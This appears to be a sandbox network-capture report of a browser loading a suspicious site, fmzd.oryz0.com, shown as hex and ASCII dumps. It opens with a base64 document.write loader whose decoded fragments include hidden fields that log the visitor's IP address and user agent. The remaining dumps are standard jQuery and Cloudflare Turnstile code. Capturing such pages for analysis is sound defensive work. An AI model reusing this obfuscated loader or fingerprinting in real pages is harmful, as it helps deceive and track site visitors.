13fa<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-05-23 08:31:00 UTC	1369	IN	Data Raw: 64 47 38 37 64 32 6c 6b 64 47 67 36 4d 7a 4d 75 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 6c 4f 33 30 4e 43 6e 30 4e 43 69 4e 36 57 6d 4e 52 64 6b 68 51 59 56 56 70 49 43 35 6b 61 58 4e 77 62 47 46 35 4c 54 51 67 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 53 34 79 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 33 70 61 59 31 46 32 53 46 42 68 56 57 6b 67 4c 6d 31 30 4c 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 33 70 61 59 31 46 32 53 46 42 68 56 57 6b 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 36 57 6d 4e Data Ascii: dG87d2lkdGg6MzMuMzMzMzMzMzMlO30NCn0NCiN6WmNRdkhQYVVpIC5kaXNwbGF5LTQge2ZvbnQtc2l6ZTogMS4yNXJlbSFpbXBvcnRhbnQ7fQ0KI3paY1F2SFBhVWkgLm10LTIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI3paY1F2SFBhVWkgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiN6WmN
2024-05-23 08:31:00 UTC	1369	IN	Data Raw: 69 42 32 59 57 78 31 5a 54 30 69 4f 43 34 30 4e 69 34 78 4d 6a 4d 75 4d 54 63 31 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6b 31 76 65 6d 6c 73 62 47 45 76 4e 53 34 77 49 43 68 58 61 57 35 6b 62 33 64 7a 49 45 35 55 49 44 45 77 4c 6a 41 37 49 46 64 70 62 6a 59 30 4f 79 42 34 4e 6a 51 70 49 45 46 77 63 47 78 6c 56 32 56 69 53 32 6c 30 Data Ascii: iB2YWx1ZT0iOC40Ni4xMjMuMTc1Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkcmVmIiBuYW1lPSJibHRkcmVmIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0
2024-05-23 08:31:00 UTC	1015	IN	Data Raw: 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6b 62 32 4e 31 62 57 56 75 64 43 35 6e 5a 58 52 46 62 47 56 74 5a 57 35 30 51 6e 6c 4a 5a 43 67 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 4b 53 35 32 59 57 78 31 5a 53 41 39 49 43 64 71 4d 44 6b 79 4a 7a 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 64 6d 46 79 49 48 68 43 64 31 68 51 62 6d 5a 77 57 48 59 67 50 53 41 69 4c 69 34 76 59 32 4a 78 4d 45 6c 6c 64 47 74 31 56 32 78 79 64 48 64 43 62 46 68 6d 62 32 78 32 53 6b 56 32 64 30 6f 30 62 6d 46 79 65 47 4a 7a 55 6d 52 35 55 46 5a 59 65 44 64 76 49 6a 73 4e 43 Data Ascii: 50KSB7DQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICB9Ow0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicGFnZWxpbmsiKS52YWx1ZSA9ICdqMDkyJzsNCiAgICAgICAgdmFyIHhCd1hQbmZwWHYgPSAiLi4vY2JxMElldGt1V2xydHdCbFhmb2x2SkV2d0o0bmFyeGJzUmR5UFZYeDdvIjsNC
2024-05-23 08:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	151.101.66.137	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:01 UTC	532	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:01 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2309242 Date: Thu, 23 May 2024 08:31:01 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890082-NYC X-Cache: HIT, HIT X-Cache-Hits: 86, 0 X-Timer: S1716453061.339513,VS0,VE1 Vary: Accept-Encoding
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-05-23 08:31:01 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:01 UTC	558	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:01 UTC	336	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 08:31:01 GMT Content-Length: 0 Connection: close access-control-allow-origin: * location: /turnstile/v0/b/695da7821231/api.js cache-control: max-age=300, public cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8883aff1aa85429b-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:02 UTC	557	OUT	GET /turnstile/v0/b/695da7821231/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:02 UTC	346	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42527 Connection: close access-control-allow-origin: * cache-control: max-age=604800, public cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8883aff9693f6a50-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:02 UTC	1023	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 2c 61 2c 72 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 75 5d 28 67 29 2c 5f 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 72 28 73 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 61 28 5f 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 5f 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 61 2c 72 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(s){r(s);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);funct
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 72 2e 70 75 73 68 2e 61 70 70 6c 79 28 72 2c 6f 29 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 61 29 7b 72 65 74 75 72 6e 20 61 3d 61 21 3d 6e 75 6c 6c 3f 61 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 61 29 29 3a 64 72 28 4f 62 6a 65 63 74 28 61 29 29 2e 66 6f 72 45 61 63 68 Data Ascii: r(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),r.push.apply(r,o)}return r}function Tt(e,a){return a=a!=null?a:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):dr(Object(a)).forEach
2024-05-23 08:31:02 UTC	1369	IN	Data Raw: 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 43 65 28 65 2c 61 29 7b 76 61 72 20 72 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 5d 26 31 29 74 68 72 6f 77 20 75 5b 31 5d 3b 72 65 74 75 72 6e 20 75 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 63 2c 75 2c 67 3b 72 65 74 75 72 6e 20 67 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 67 Data Ascii: urn e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ce(e,a){var r={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(g
